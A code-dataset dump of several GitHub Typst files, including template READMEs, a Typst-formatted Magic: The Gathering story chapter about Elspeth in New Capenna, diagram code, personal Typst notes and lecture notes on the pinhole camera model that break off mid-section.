repo
stringlengths 26
115
| file
stringlengths 54
212
| language
stringclasses 2
values | license
stringclasses 16
values | content
stringlengths 19
1.07M
|
|---|---|---|---|---|
https://github.com/Alan-Kuan/typst-templates | https://raw.githubusercontent.com/Alan-Kuan/typst-templates/main/README.md | markdown | The Unlicense | # typst-templates
This repo currently contains only 1 template.
Perhaps there'll be more in the future.
## Screenshots
- an example of `hw-report` template
- another example of `hw-report` template
## Installation
Clone this repo under the path `~/.local/share/typst/packages/`.
You can name it to the name you like.
As for me, I use `local`.
```sh
mkdir -p ~/.local/share/typst/packages
git clone https://github.com/Alan-Kuan/typst-templates.git ~/.local/share/typst/packages/<the name you like>
```
## Usage
First, import. Then, show.
The following is an example to use the `hw-report` template:
```typst
#import "@local/hw-report:1.0.0": *
#show: project.with(
title: "A title",
authors: (
(name: "<NAME>", id: "<NAME> id"),
),
font: ("Times New Roman")
)
```
## Parameters
### `hw-report`
| Parameter | Type | Description | Default |
| --- | --- | --- | --- |
| `lang` | `str` | passed as the `text()`'s `lang` parameter | `"en"` |
| `title` | `str` | title of the document | `""` |
| `authors` | `array` | authors of the document | `()` |
| `font` | `str` or `array` | passed as the `text()`'s `font` parameter | `"Noto Serif TC"` |
| `size` | `length` | passed as the `text()`'s `size` parameter | `12pt` |
| `numbering` | `none` or `str` or `function` | passed as the `page()`'s `numbering` parameter | `none` |
#### Format of `authors`'s elements:
Type: `dictionary`
| Key | Type | Description |
| --- | --- | --- |
| `name` | `str` | author's name |
| `id` | `str` | author's student ID |
|
https://github.com/polarkac/MTG-Stories | https://raw.githubusercontent.com/polarkac/MTG-Stories/master/stories/046%20-%20Streets%20of%20New%20Capenna/003_Episode%202%3A%20Dirty%20Laundry.typ | typst | #import "@local/mtgstory:0.2.0": conf
#show: doc => conf(
"Episode 2: Dirty Laundry",
set_name: "Streets of New Capenna",
story_date: datetime(day: 29, month: 03, year: 2022),
author: "<NAME>",
doc
)
= MEZZIO STATION
New Capenna was a blur. Elspeth held onto a pole in the train car as it jostled down the tracks, but doing so was unnecessary when she was packed so tightly alongside other commuters that it was impossible to move. With a lurch and a groan, the train came to a halt at the main station for the Mezzio—the beating heart of the city—and exhaled smoke and people.
#figure(image("003_Episode 2: Dirty Laundry/01.jpg", width: 100%), caption: [Art by: <NAME>], supplement: none, numbering: none)
From this station, golden elevators in the shapes of giant beetle shells lifted the wealthy to Park Heights. Workers rose from Caldaia via steam-filled stairwells. She fit in easier with the latter than the glittering fashions of the former.
Elspeth assessed her clothing. Her trousers were plain and sturdy, and she'd rolled up her sleeves and kept her vest open to fight against the heat of the train. Even though the dome surrounding New Capenna kept the city consistently temperate, it was sweltering among all those bodies. Her labors also kept her temperature high throughout the day. As eager as she would be to indulge the fancier fashions of New Capenna, survival was her first focus.
And survival meant practical clothes she could work in.
She kept her head down and took odd jobs throughout the city as she could find them. On the surface, she was no different than any of the others. #emph[And yet] ~Elspeth rubbed her midsection lightly. There was still a hollow feeling that had been carved into her by Godsend's blade when Heliod impaled her. She had been hoping to heal that ache in New Capenna, but she still didn't feel quite right in this new place.
She was so lost in her thoughts that she didn't see the sprinting leonin until it was too late.
The man barreled right into her, and they both ricocheted to the ground. Elspeth blinked, dazed. The commuters flowed around them.
"Angels bless! Quit lollygagging and watch where you're going!" he grumbled, smoothing out his mottled brown fur and collecting the bolts of fabric he'd previously had tucked under his arm before they could be trampled beyond repair.
"Sorry about that." Judging by his clothes, he seemed to be unaffiliated with one of the families that seemed to rule New Capenna, and for that, she was grateful. Whatever government was in place wasn't very effective since she couldn't even name it, but she could name the Obscura, the Cabaretti, the Maestros, the Brokers, and the Riveteers from memory.
"#emph[Sheesh] , anyone ever told you to keep your eyes forward?" The leonin stood and left her behind.
The words rang in her ears, holding her down. Grounding her. The commuters of New Capenna continued to flow around her, some shooting her frustrated or confused looks, others ignoring her entirely.
But Elspeth was hardly aware of the people. In her mind, she was not only in a different place, but time~
= DOMINARIA, EARLIER
"You're alive!" Ajani raced to her. His protective embrace crushed her.
Elspeth wrapped her arms around him, holding her friend in equal measure. The fur around his neck tickled her nose and cheek, bringing a smile to her lips. Happiness. Relief. #emph[Safety] . It had been so long since she'd last felt such pleasant emotions that it was a wonder she could still feel them at all.
"I didn't believe you walked in the realm of the living until I saw you for myself." Ajani pulled away, settling his hands on her shoulders. His eyes were shining with emotion.
"I wouldn't have either, if I were you." Elspeth gave him a tired smile. "I'm so glad I found you." Dominaria wasn't one of their usual haunts. They had met here once before, long ago. She was relieved it hadn't been so long ago that she couldn't still track down her old friend in this mostly unfamiliar land. "What brings you here? I would've expected to find you on Naya."
"After defeating Bolas, I came here to meet with Karn and the Gatewatch to discuss the Phyrexian threat. But there will be time for business later." Ajani shook his head, as if dismissing the notion. "#emph[How] are you here?"
"It's a long story~" Elspeth told him of her time in the Underworld following her death at Heliod's hand and how she had tricked the God of the Sun into another confrontation. In so doing, she gave Erebos, God of the Dead, an opportunity to imprison Heliod. "Erebos was so grateful to me for helping him settle the score with his old rival that he let me leave."
Ajani was silent for a long while after she finished. He stared intensely at nothing in contemplation. She had seen the look on her old friend many times and knew better than to jostle him from his thoughts when he was like this. However, usually, this expression didn't involve #emph[her] . For as exciting as it was to see him again~a small part of her was afraid.
They had been apart for so long and so much had happened to them both. She had returned from the dead. He had begun working closely with the Gatewatch and Karn investigating a looming threat. What if he saw her in a different light now? Would he judge her for the things she'd done?
He shifted on the bench they sat on and slowly, purposefully, collected her hands in his. Staring her right in the eyes, he asked, "How are you?"
"What?" Elspeth sat a little straighter.
"Elspeth, how are #emph[you] ? You might be one of the strongest people I know. But I cannot imagine the toll on your body and spirit of what you've been forced to endure. The upheaval when all you've wanted for so long is stability. And Daxos~I know how much he meant to you."
It was her turn to look away. Otherwise, he'd see right through all her guards and into the profound hurt she still harbored. Elspeth wanted to be strong. She wanted to put all this behind her. But Ajani knew her too well for that. He knew how deeply she had wanted Theros to be her home, her rock, some stability in a Multiverse of constant upheaval. How much she had sacrificed for her lost love only to have him return as a man she no longer recognized.
"The hardest part," she began slowly, "is having nowhere to go. Calix hunts me, and while I think I can shake him~where would I go when I do? There is no future with Daxos, not as he is now. No plane will ever be safe." And without safety there could be no home. That was a lesson she'd learned from an early age. That lesson was what had prompted her to seek out Theros—a land protected by gods. But if the gods didn't mean safety~then what ever could?
Elspeth laughed, a bitter note creeping into the sound as she thought of how hopeless it all seemed in that moment. "I fought so hard to escape Erebos's clutches, and for what? Some days, I don't know the answer."
Ajani sighed. "Elspeth, home is not a place; it is a feeling. It is the people who share your dreams and those whom you trust."
"That's easy for you to say."
"You think so?" He seemed mildly offended.
"You're at home wherever you go. I've always had to hunt and fight for mine."
"I am at home wherever I go because I am foremost at home in my own fur. You must first—"
"I don't expect you to understand," she interrupted and withdrew her hands from him. She couldn't bear the conversation for a minute longer. It was futile to even hope for him to comprehend the pain of being a lost child.
"You're right," Ajani admitted. "I might not understand the depths of your pain as acutely as you might hope. But you are still my dear friend, and I don't have to know every nuance of your suffering to see the wound and want to help you mend it."
"There's nothing you could possibly do."
"I can encourage you to #emph[keep your eyes forward] . Look to the future. Don't let the demons of your past consume you."
"I have no demons." Saying so would've been far more convincing to them both if she didn't sound so bitter and defensive.
"Home will come from within, when you've reclaimed your purpose—look inside and trust yourself. If you don't, you'll never become who you are truly meant to be. You will never find peace, and there is no home if you cannot find contentment with yourself."
"I didn't come to you for a lecture." She pushed away from the bench, wrapping her arms around herself and stalking away. #emph[Look within. Find peace, then find home. It's not a place.] The words stuck with her, uncomfortable. She couldn't escape them with a few steps; she might not be able to escape them ever. She needed to get away, clear her head, and hope to gain new perspective from the distance.
"Elspeth."
She could hear him stand as well without looking back. "I'll think about what you said, but I can't talk about this now. It was good to see you again."
Ajani continued anyway. "While you were—" he clearly struggled with the word "dead" and said instead "—#emph[gone] I continued your search for home~" He inhaled deeply, as if bracing himself. "I found it."
= MEZZIO CLEANERS, PRESENT DAY
She paused outside her current workplace. The smell of soap hung in the air as bright and crisp as the finely pressed clothes in the windows. Her reflection was distorted in the glass, barely recognizable.
#emph[Had Ajani been right about all he'd told her?] Was she comfortable in her skin? Elspeth shook her head and tried to push away the thoughts as she entered the launderer. She had to survive the day-to-day. Everything else would come in its own time~if ever.
"You're late," the shopkeeper said the moment he laid eyes on her. "This is a good job and you're not going to keep it if you aren't on time." Elspeth glanced at the clock on the wall, confirming what she already knew—she was here exactly when promised. "Don't look at the clock. The clock won't help you. The only time that matters is the one I say, and I say you're late. On time is #emph[late] ."
"Apologies," Elspeth murmured. She hadn't even bothered to learn her current boss's name. Her employer changed regularly in this city. No one wanted her for long when it was clear she wasn't going to play their backhanded and cutthroat games. It seemed pointless to get too attached. "It won't happen again."
"It'd better not. I can use muscle like you." He made a jerking motion with his thumb toward the back door. "Now, I have six bags for you to bring to the cargo trains. Get to it, and you'll earn today's wages."
Elspeth didn't waste any more time or words with the man and did as she was instructed. The back room of the cleaners was separated into six segments—one for each of the five crime families and one for the general populous. Because angels forbid that even their laundry touched.
She hoisted one over her shoulder and made her way back out, lugging it all the way to the central station of the Mezzio before hiking back. The entire time, Elspeth listened to the citizenry around her. No one paid her any mind, even when she lingered a little too long, or slowed her pace when there was a particularly fascinating conversation. She used every new job as an opportunity to learn all she could about New Capenna. Maybe, eventually, she would hear just what she needed to be certain this was her home.
The door to the shop was ajar on her last trip back, enough so that she could barely hear the conversation happening inside.
"—make sure you pay what you owe," an unfamiliar man snarled.
"I promise, I'll get you the money." The shopkeeper's usually stern, confident voice quivered. "Just give me another week."
"Another week?" A woman laughed. "You've had a month. We've been more than generous."
"Another day—two days—please, I'm begging you."
Elspeth had never heard the shopkeeper sound so afraid. So meek. A sinking feeling pulled her shoulders down, settling in her gut with the faint aftertaste of disgust in the back of her throat. These people were preying on the hard-working residents of the city.
#emph[Should I intervene?] No, it wasn't her business. For all she knew, the shopkeeper had done something to merit this fate. She should just ignore it and—
"Two days? I'm sure there's some money laying around." Smashing and breaking sounds were followed by gruff laughter.
A man's whimper, cut short by a dull thud and more cackling.
Elspeth was a blur as she pushed through the door, beholding the carnage the strangers had wrought. Mannequins were headless and broken on the floor. The formerly pristine clothes they had worn lay in heaps. The till was smashed around the bloodied and broken body of the shopkeeper, three men and a woman looming over him.
The four assailants' pale eyes turned to her.
"What do we have here?" said a man with dark hair. He had been the first voice she'd heard. The leader, Elspeth assumed.
"She's~she's just a customer." the shopkeeper fought for every word. He was the last person she expected to try and protect her.
Elspeth leveled her eyes with the leader of the group. "Leave."
"Pretty forward for someone who's 'just' a customer." His mouth curled into a sinister smirk. "What do you care about the old man?"
It was a good question, one Elspeth had no doubt she'd be asking herself later while tending to whatever wounds she was about to endure. But for now, she was focused solely on getting these people away from the injured shopkeeper. This had already gone too far; they were going to kill him if they carried on.
"Anyone who finds sadistic pleasure in beating up an unarmed man makes themselves my business."
"She thinks we're sadistic." The woman chuckled and cracked her knuckles. "Maybe we should show her what sadistic really looks like."
"Bold words to say about Maestro enforcers," a man with the sides of his head shaved said.
#emph[The Maestros.] Elspeth knew little about the family other than that whenever they were mentioned by the citizenry, it was in the context of art or death, and their laundry always reeked with the metallic tang of blood.
#figure(image("003_Episode 2: Dirty Laundry/02.jpg", width: 100%), caption: [Art by: <NAME>], supplement: none, numbering: none)
"I'm feeling generous today." The leader eased away from the shopkeeper. "I'll forgive you for that poor choice in words and let it not be the last mistake you make on this earth if you empty the contents of your pockets."
"Funny, I'm feeling generous, too. I'm ready to let you all walk out of here with your kneecaps intact if you leave now," Elspeth retorted. People like this only understood violence. So, if threats were what it took to lure them away, then she'd be the bait.
"Why you—" growled a man wearing red gloves.
"That's it." The woman lunged, but her leader grabbed her shoulder and held her back.
He glared, leaning toward his subordinate, their noses almost touching. "#emph[I'm] in command here, and we do not attack people unless I say so."
"But—"
"And I say that we're painting the streets red with her." He released the woman, and Elspeth didn't wait for the attack to come. They had risen to her goading. She'd sufficiently distracted them from the shopkeeper, and now it was time to save her own skin. Four opponents wouldn't usually be a problem for her, but given that they were armed to the teeth, a tactical retreat was for the best.
Elspeth dashed into the street, the four Maestros hot on her heels. She ducked and weaved through the crowded streets of the Mezzio. Most shot her dirty looks but continued about their business, fighting and bloodshed an all-too-common occurrence for the citizenry of New Capenna.
"You think you can outrun us?" The woman had caught up to her, pushing a couple to the ground in her pursuit. "We've trained for this, and you're just some laundry helper."
She drew a sword from her hip, slashing it in a wide arc toward Elspeth and nearly nicking three bystanders. Elspeth dodged, dropping to let the blade fly over her head. The woman's arm was across her body, momentum still carrying the blade. Elspeth stepped forward and closed the gap, bringing her fist to the Maestro's gut.
But Elspeth was the one who released a grunt of pain and surprise.
Her knuckles met metal. Plate protected the woman's abdomen, hidden underneath the finely tailored coats she wore. The Maestro grinned widely, putting her fangs on display.#emph[ On top of everything else, vampires. Perfect.]
"Regretting your life choices yet?" she sneered.
Elspeth's response came in the form of disengaging and running once more. She massaged her hand, scanning the crowd for an escape. There was a small explosion and a flash of light. Magic streaked through the air like the tail of an angry comet. It hit the stone beneath Elspeth's feet with a small explosion, leaving a smoldering pockmark behind.
Glancing over her shoulder, she saw one of the men lowering his finger and cursing. They were willing to fire at her with magic in the middle of a crowded street. These people didn't care about others in the slightest. Which meant if they carried on here, there was the chance of an innocent bystander getting hurt.
The red-gloved man lifted his finger, pointing at her. Elspeth ducked, slid, and scrambled into an alleyway as another bolt of magic shot overhead. She pushed past some workers who levied curses at her back. They were quickly silenced by the four hot on her tail.
Elspeth took another hard turn, and another. But no matter how many times she doubled back or how many walls she vaulted over, they wouldn't quit their pursuit. Elspeth looked over her shoulder as she rounded another corner and skidded to a stop.
Wind howled in the void before her.
The road she'd been running down ended abruptly, a half-finished bridge extending out into empty air. More construction was on the other side of the gap between the buildings. Even if it wasn't too far for her to jump, the construction equipment opposite gave her no place she could confidently land. Angry, red smoke plumed up from the abyss beneath her, the lower levels of the city submerging into what looked like a sea of fire and blood.
"Well, well. Cornered I see." The leader came into view. His lackeys were at his side, breathless and looking all the angrier for the chase she'd given them. "Where are you going to run now?"
Nowhere. She had nowhere else to turn. The only exit was behind them, or down. She eyed the smoke and smog of the Caldaia once more, seeing nothing that could break her fall.
"I had been feeling generous," the leader said. "I was just going to rough you up a bit, knock out a few teeth, make sure you couldn't say any more smart words. If only you'd stayed put."
He was lying, surely. Yet, guilt flooded her all the same. She had put all those people in danger as she'd run through the streets. How many people got hurt because she hadn't just accepted a beating? Or worse?
The leader raised his hand, two fingers pointed at her. Sparks collected around his wrist as the air itself writhed with invisible heat. "Get ready to meet your death."
She let out a huff of amusement. "Unfortunately for you, I already have."
He fired.
Elspeth dodged, rolling. She had to get back toward the safety of the building and road cutting into it. The sword-wielding vampire stabbed. This time she grabbed the woman's sword arm, using her momentum against her to spin her into the wall. Metal rang out against concrete as the Maestro's head snapped back.
"How dare you!" <NAME> lunged for her, taking her to the ground. Elspeth brought up a leg and pivoted to get him off. But she barely had a chance to stand before the other man was upon her. And the air around the leader was already sparking with magic again.
She was outnumbered and constricted. Elspeth traded blows with them, dodging and ducking. Eventually, they would wear her down and she'd make a mistake from exhaustion. She had to disengage before then.
Or find a weapon.
A stack of long steel poles caught her eye. They were identical to the metal jutting from the edge of the unfinished bridge. She jumped, another shot whizzing past her head as her hands closed around one of the rods.
Elspeth hoisted her makeshift weapon. It was a far cry from the divine spear she'd grown accustomed to. But it was the advantage she'd been looking for.
"What? Are you going to attack us with—" the man didn't finish the statement before steel met the side of his head and he crumpled.
The other two were frozen for a beat and simply stared. Their mistake. Elspeth swept the rod across the ground. The woman jumped; <NAME> had his ankles hooked. She pulled and then spun, bringing the blunt end of the steel against his temple.
Just the leader now.
"Let's not be too hasty." He held up his hands, but this time it quivered slightly. "We can talk like civiliz—"
He fired at her sudden movement but telegraphed his aim. Elspeth dodged, closed the gap, and rendered him unconscious with a #emph[thud] . The rush of the fight began to fade, and Elspeth relaxed her stance, checking on each of them. She did not envy the ache they'd feel when consciousness returned~but at least they were all breathing. She didn't really want to kill anyone, and the last thing she needed was the Maestros out for vengeance against her.
They might have trained to be the strongarms of a family. But Elspeth had fought with gods. They weren't going to get the better of her that easily.
Just when she went to return the rod to where she found it, a slow clapping alerted her to the presence of another.
Elspeth pivoted, brandishing the pole with a thrust. It came a hair's breadth away from a man's chin. He had fair skin and dark hair slicked back close to his head and curling around his high steel collar. Carefully manicured stubble lined his jaw and his mouth, accentuating a wicked grin. His armor was too similar to the people she'd just felled to be chance.
"Your buddies are just taking a nap." She looked him right in his pale eyes. "I don't want any more trouble."
"Looks like trouble found you today." And it haunted her wherever she went. "They're not my 'friends.' A responsibility at best. Clearly, they weren't ready to be enforcers. I apologize for their lack of grace." She wasn't sure if he just apologized for them not killing her faster. His eyes shone with what looked like amusement at her skepticism. "Say, if you're that deadly with a metal stick, what could you do with the real thing?"
"Your '#emph[responsibilities] ' are lucky all I had was this stick." She kept it at his throat. One jab at his windpipe, and he would collapse. Though Elspeth had no more interest in killing him than she had in the others.
"I can see that much." The man lifted his fingers, pushing lightly on the end of her rod. "Why don't we put this away and talk?"
Elspeth held fast. "I have no interest in talking with you. I want to go about my business in peace."
"What if I have business for you?"
"I'm not interested."
"Oh? Already aligned?" He looked her from head to toe, chin tapping the weapon that he clearly felt unthreatened by.
"I have no allegiance to anyone and no interest in doing so; I'm just trying to make do. So will you let me leave?"
He sighed, a bit dramatically. "Fine, though it's a shame to see your talents wasted."
She kept her eyes locked with his as she eased away. But the man didn't make a move. Elspeth walked backward toward the pile of steel rods. Still no movement. She slowly returned the steel to its place, very aware that she was giving up her only weapon with a potential enemy still before her.
He put his hands in his pockets nonthreateningly. Elspeth side-eyed him as she passed. He let her go.
She was back in the shade of the building when he spoke again.
"You know, if you were interested in 'making do' a bit easier~there's good money in the work." Elspeth glared but he continued anyway. "Fine, not motivated by money. Halo, then?"
She stilled.
"Ah, always Halo, isn't it?"
Elspeth had heard the word Halo mentioned, but she had yet to find any solid information on what it was. "What about it?"
"You could get a regular tipple, if that is your desire. We might not be the Cabaretti, but that doesn't mean our storehouses are dry."
"Why do you think #emph[I] would want it?" Elspeth asked carefully, trying to phrase the question to give away as little as possible. If his eyes narrowing slightly or his gaze becoming more curious than conniving or hungry was any indication, she failed.
"You're not from around here."
"Of course I am." Elspeth shrugged and continued walking.
His footsteps were hasty behind her. "No, #emph[no] ~anyone from New Capenna knows exactly why they'd want Halo. There's always a reason to covet it." He looked at her with new eyes. "You wear the fashions of New Capenna, but you're clearly not one of us."
#emph[Not one of us.] How many times would she be identified as the odd one out? As the one who didn't belong? It never became easier. Every time, the sentiment cut deeper than the last.
"It's all right!" He must have seen her expression as he kept up with her fast pace. "We all start somewhere. Why don't you start with the Maestros? We don't have an opportunity for new recruits from the outside ruins often—surprised anyone still lives out there, frankly—and if you're curious about the history of New Capenna, then you'll be thrilled to know that all young family members start in the museum up in Park Heights." The man came to a stop, holding out his hand. "Wait, where are my manners? Forgive me. I'm Anhelo."
#figure(image("003_Episode 2: Dirty Laundry/03.jpg", width: 100%), caption: [Art by: <NAME>], supplement: none, numbering: none)
Elspeth regarded his hand warily. She imagined shaking it would feel like she was making a deal—one she didn't yet know the terms of. Instead, she ignored it, continuing to walk. But said, "Elspeth."
"Elspeth, #emph[huh] , you're a few generations out of date for a name like that." He chuckled and continued to follow her as the street opened to a square between buildings. A fountain bubbled at its center. Elspeth slowed to a stop, staring up at the figures that crowned the carvings of the fountain.
"Oh, curious about that?" Anhelo chuckled. "They're all over the city, aren't they?"
"They?" She prodded lightly, seeing just how willing he was to give up information to her. To her surprise and delight, he continued.
"The angels." He nodded to the two figures, locked in battle. A winged woman held a sword triumphant over a fallen foe. But she wasn't the one that had caught Elspeth's eye. It was the hunched and spined creature reaching up for the stony woman with its clawed, bony fingers and open maw. A creature of sharp angles and nightmares. "There are sculptures of angels all over the city, as if we're supposed to revere them for an ancient battle or some such. But only thing they ever did that matters anymore was vanish and leave us the scraps to fight over."
An ancient battle. Angels. Elspeth stared at the creature the angel was locked in battle with. Anhelo might not know what it was, but she certainly did.
A #emph[Phyrexian] .
= DOMINARIA, EARLIER
"While you were—" Ajani clearly struggled with the word "dead" and said instead "—#emph[gone] I continued your search for home. I found it."
"What?" Elspeth spun in place, her sole focus on him once more. Her heart hammered. #emph[Home.] The place she had left when she was a child and had never been able to find again.
"It's called New Capenna."
"New Capenna," she repeated as if trying on the words to see if they fit around the shadowy and unclear picture she had in her mind of home. "Why didn't you tell me sooner?"
"I was more focused on seeing how you were."
"This makes me excellent. New Capenna? Truly?"
"Yes, and according to Karn there might be more to its history than just your own," Ajani said with a heavy note. "There are plans to attack New Phyrexia, but we don't want to make any movement before we're ready—before we know we can win."
"What does New Capenna have to do with the Phyrexians?" Worry threatened to strangle her joy. Phyrexians sowed destruction wherever they went. Was there even a home for her to return to?
"There are rumors of a past incursion there, and since New Capenna is still standing, that means they defeated the previous threat."
"And you want me to find out how," Elspeth surmised.
"Exactly." Ajani grabbed her shoulder as she moved to leave. "Before you go~promise me you'll think about what I said. I know this mission will be partly personal, and I hope you find what you're looking for—what you #emph[need] —in New Capenna. But please, remember that nowhere will be truly home until you've made peace with your past. You've killed a god, you've overcome death, you've accomplished so much, Elspeth. If you can fight all that, then you can also fight for yourself and find the security you're looking for within you."
"I'll do my best." It was true, and the most she could offer him right now.
"I know you will, and be careful," Ajani pulled her close for a final embrace. "Don't ever make me see or hear of your death again."
"I'd like to avoid that, too, friend," Elspeth said with a soft chuckle. Levity was filling her for what felt like the first time in years. She didn't look back as she planeswalked away, headed for what she hoped was home.
= MEZZIO SQUARE, PRESENT DAY
"In any case. What do you say?" Anhelo pressed again. "Good money. Room and board. And all you have to do are a few jobs here and there."
#emph[A few jobs.] She knew exactly what those would entail. Elspeth had no desire to get her hands bloodied in the turf wars of New Capenna. But if what he was saying was true, then this was the best opportunity she'd found so far to learn more about this strange place and uncover its truths. To find out if Ajani was right and this really was her home.
"And the Maestros' museum has more information on sculptures like this?"
"More information?" He laughed. "Even better. The family owns #emph[hundreds] of sculptures like this thanks to our curator."
"All right," Elspeth reluctantly agreed. She didn't want to work with a family, but it was a necessary means to an end. At the very least, they might have the information on the Phyrexians that Ajani and the Gatewatch needed.
"You won't regret it." Anhelo wrapped his arm around her shoulder, guiding her. "The Maestros pride ourselves on knowing New Capenna better than any. If it's information you want, that can be given in spades."
His expression was smug. He thought he had found the carrot she would blindly follow. And he was right, in part. But Elspeth was going into this with both eyes open. She wasn't going to be used by forces in power.
= EPILOGUE – A BACK ROOM
The Adversary sat in a mirrored room, its entrance hidden behind a barroom bookcase. To enter the establishment, one needed to know a secret knock and a magical touch. To enter this room, one had to be willing to gamble with their lives.
#figure(image("003_Episode 2: Dirty Laundry/04.jpg", width: 100%), caption: [Art by: <NAME>], supplement: none, numbering: none)
His loyal lieutenants and officers surrounded him. Means to an end, the whole lot of them. He would use them as long as they had breath and proved themselves useful. A sickly purple light hung overhead.
"—and that is what the Font truly is," said the highest ranked among them.
The Adversary considered this and let out a bark of laughter. #emph[Really.] The Font was #emph[that] ? Pathetic. So much power, so ripe for the taking, and the Cabaretti were practically asking for it to be stolen.
"You know what this means, don't you?" he asked, uncorking a bottle of Halo. The others watched him with hungry eyes as he poured glasses. "It means we're going to make the Crescendo one helluva party." Ob Nixilis passed glasses around to each, then lifted his in a toast. "Here's to taking over the plane."
#v(0.35em)
#line(length: 100%, stroke: rgb(90%, 90%, 90%))
#v(0.35em)
#grid(
columns: (1fr, 1fr),
gutter: 2em,
figure(image("003_Episode 2: Dirty Laundry/05.png", height: 40%), caption: [], supplement: none, numbering: none),
figure(image("003_Episode 2: Dirty Laundry/06.png", height: 40%), caption: [], supplement: none, numbering: none),
)
|
|
https://github.com/ymgyt/techbook | https://raw.githubusercontent.com/ymgyt/techbook/master/programmings/typst/typst.md | markdown | # typst
## Install
```sh
brew install typst
```
## Reference
https://typst.app/docs/reference/
## Usage
```sh
# create note.pdf
typst note.typ
# watch
typst watch note.typ
# Nix
nix run github:typst/typst watch matrix.typ
```
## Syntax
```
= Heading
content xyz
== Heading 2
+ item 1
- bullet item 1-1
- bullet item 1-2
+ item 2
+ itme 3
line-1 \
line-2
```
* 改行は`\`
* code blockはmarkdownと同じ(書くと壊れるので書けない..)
## 設定
### Font
```
#set text(font: "New Computer Modern")
```
## File分割
* `#include path/to/note.typ`: そのfileのcontentを展開できる
### Text
```typst
// hogehogeをgray outで表示
#text(fill: gray.lighten(50%), [hogehoge])
```
|
|
https://github.com/noahjutz/AD | https://raw.githubusercontent.com/noahjutz/AD/main/notizen/sortieralgorithmen/heapsort/linksvoll.typ | typst | #import "@preview/cetz:0.3.0"
#import "/config.typ": theme
#import "/components/lefttree.typ": lefttree
#cetz.canvas({
import cetz.draw: *
import cetz.tree: tree
tree(
lefttree(range(6).map(i => $a_#i$)),
draw-node: (node, ..) => {
content(
(),
frame: "circle",
padding: 7pt,
place(
center + horizon,
dy: -2pt,
node.content
)
)
},
draw-edge: (from, to, ..) => {
if from == "g0" and to == "g0-0" {
line(
from, to,
stroke: theme.primary + 2pt,
mark: (end: ">")
)
} else if from == "g0" and to == "g0-1" {
line(
from, to,
stroke: theme.secondary + 2pt,
mark: (end: ">")
)
} else if from == "g0-1" and to == "g0-1-0" {
line(
from, to,
stroke: theme.tertiary + 2pt,
mark: (start: ">")
)
} else {
line(from, to)
}
},
grow: 1.3
)
}) |
|
https://github.com/cspr-rad/actus-spec | https://raw.githubusercontent.com/cspr-rad/actus-spec/master/README.md | markdown | # ACTUS Specification version 2
This is a second version of the ACTUS specification.
It is intended to be the new "source of truth".
Where previous specifications have been inconsistent and ambiguous, this specification aims to be unambiguous and consistent.
## Status of this document
The purpose of this document in its current form is to show what a new version of a specification could look like and how it could be constructed.
It is not sound, complete, or authoritative.
If this new way of specifying is adopted, this specification will be completed, corrected, and updated before becoming authoritative.
## Consistency
Consistency across multiple media can only be constructed or enforced.
As such we make the parts of the spec that can be machine-readible available in `.json` files.
We construct the specification (pdf) to be consistent with that data by generating the parts of the specification that represent the same information.
## Writing
### Dependencies
#### With Nix
1. Install [Nix](https://nixos.org/download)
That's it, Nix handles the rest.
#### Without Nix
1. Install [Typst](https://github.com/typst/typst#installation)
1. Ignore the mentions of `direnv` and `feedback` below.
### Feedback loop
1. Enter the dev shell
With `direnv`:
```
direnv allow
```
Without `direnv`:
```
Nix develop
```
2. Start the feedback loop:
Pure `typst` (faster):
```
typst watch spec/main.typ
open spec/main.pdf
```
With `feedback`:
```
feedback build
```
|
|
https://github.com/Myriad-Dreamin/tinymist | https://raw.githubusercontent.com/Myriad-Dreamin/tinymist/main/crates/tinymist-query/src/fixtures/goto_definition/import_package.typ | typst | Apache License 2.0 | // path: base.typ
#import "@preview/example:0.1.0";
#(/* ident after */ example.add(1, 1))
|
https://github.com/bibi-the-brave/3D-vision-and-extended-reality-notes | https://raw.githubusercontent.com/bibi-the-brave/3D-vision-and-extended-reality-notes/main/main.typ | typst | #import "template.typ": *
#import "typst-boxes.typ": * //https://github.com/lkoehl/typst-boxes?tab=readme-ov-file
#let emph_blue(testo) = emph(text(fill: blue, testo))
#let long-symbol(sym, factor) = {
assert(type(sym) == "symbol", message: "Input needs to be a symbol")
assert(type(factor) == "integer" or type(factor) == "float", message: "Scale factor must be a number")
assert(factor >= 1, message: "Scale factor must be >= 1")
factor = 5*factor - 4
let body = [#sym]
style(styles => {
let (body-w,body-h) = measure(body,styles).values()
align(left)[
#box(width: body-w*2/5,height: body-h,clip: true)[
#align(left)[
#body
]
]
#h(0cm)
#box(height: body-h, width: body-w*1/5*factor)[
#scale(x: factor*100%,origin:left)[
#box(height: body-h, width: body-w*1/5,clip:true)[
#align(center)[
#body
]
]
]
]
#h(0cm)
#box(width: body-w*2/5,clip: true)[
#align(right)[
#body
]
]
]
})
}
// vec and math have all squared lines
#set math.vec(delim: "[")
#set math.mat(delim: "[")
/*#set heading(numbering: "1.")
#set math.equation(numbering: "(1)")*/
// Take a look at the file `template.typ` in the file panel
// to customize this template and discover how it works.
#show: project.with(
title: "3D Vision and Extended Reality",
authors: (
(name: "<NAME>", email: "<EMAIL>", affiliation: "Università degli Studi di Padova"),
(name: "<NAME>", email: "<EMAIL>", affiliation: "Università degli Studi di Padova"),
),
)
//https://www.reddit.com/r/typst/comments/12irwkj/how_can_i_create_a_colored_box_similar_to/
#let my_block(back_color, frame_color, title_color, content_color, title, content) = {
block(radius: 4pt, stroke: back_color + 2pt)[
#block(width: 100%,fill: back_color, inset: (x: 20pt, y: 5pt), below: 0pt)[#text(title_color)[#title]]
#block(width: 100%, fill: frame_color, inset: (x: 20pt, y: 10pt))[#text(content_color)[#content]]
]
}
= Perspective and cameras
Every image is created by the interaction of light, real objects and an optic device.
A camera acquires images from the real world following a precise pattern.
A source of light emits rays that reach an object which, reflects them in many directions; a lens acquires these rays and focuses them on an array/plate of sensors. The output of the sensors is passed to some analogue electronics components that transform the light taken in input by the camera to a charge/tension and convert it into numerical digital values. These values are then stored into a memory after some processing.
#figure(
image("img/camera-pipeline.png", width: 70%),
caption: [
The camera's pipeline.
],
)
== The simplified pinhole model
Rays travel from an illumination source to an object that reflects them, afterwards they are captured by an acquisition device (e.g.: our eye, an analog or a digital camera) that fucuses them on a photo responsive element (e.g.: the retina, a film, a matrix of sensors).
The #emph(text(blue)[pinhole model]) is a mathematically consistent model that is at the basis of computer vision and computer graphics.
The idea is that the acquisition element (e.g.: pupil, lens, ...) can be approximated to a #emph(text(blue)[pinhole]) or #emph(text(blue)[center of projection]) (COP) $bold(C)$. The rays of light pass through the pinhole and are projected onto the #emph(text(blue)[image plane]) (also called the projection plane). The pinhole is so small that we assume that only a single ray of light for a specific direction goes into the hole.
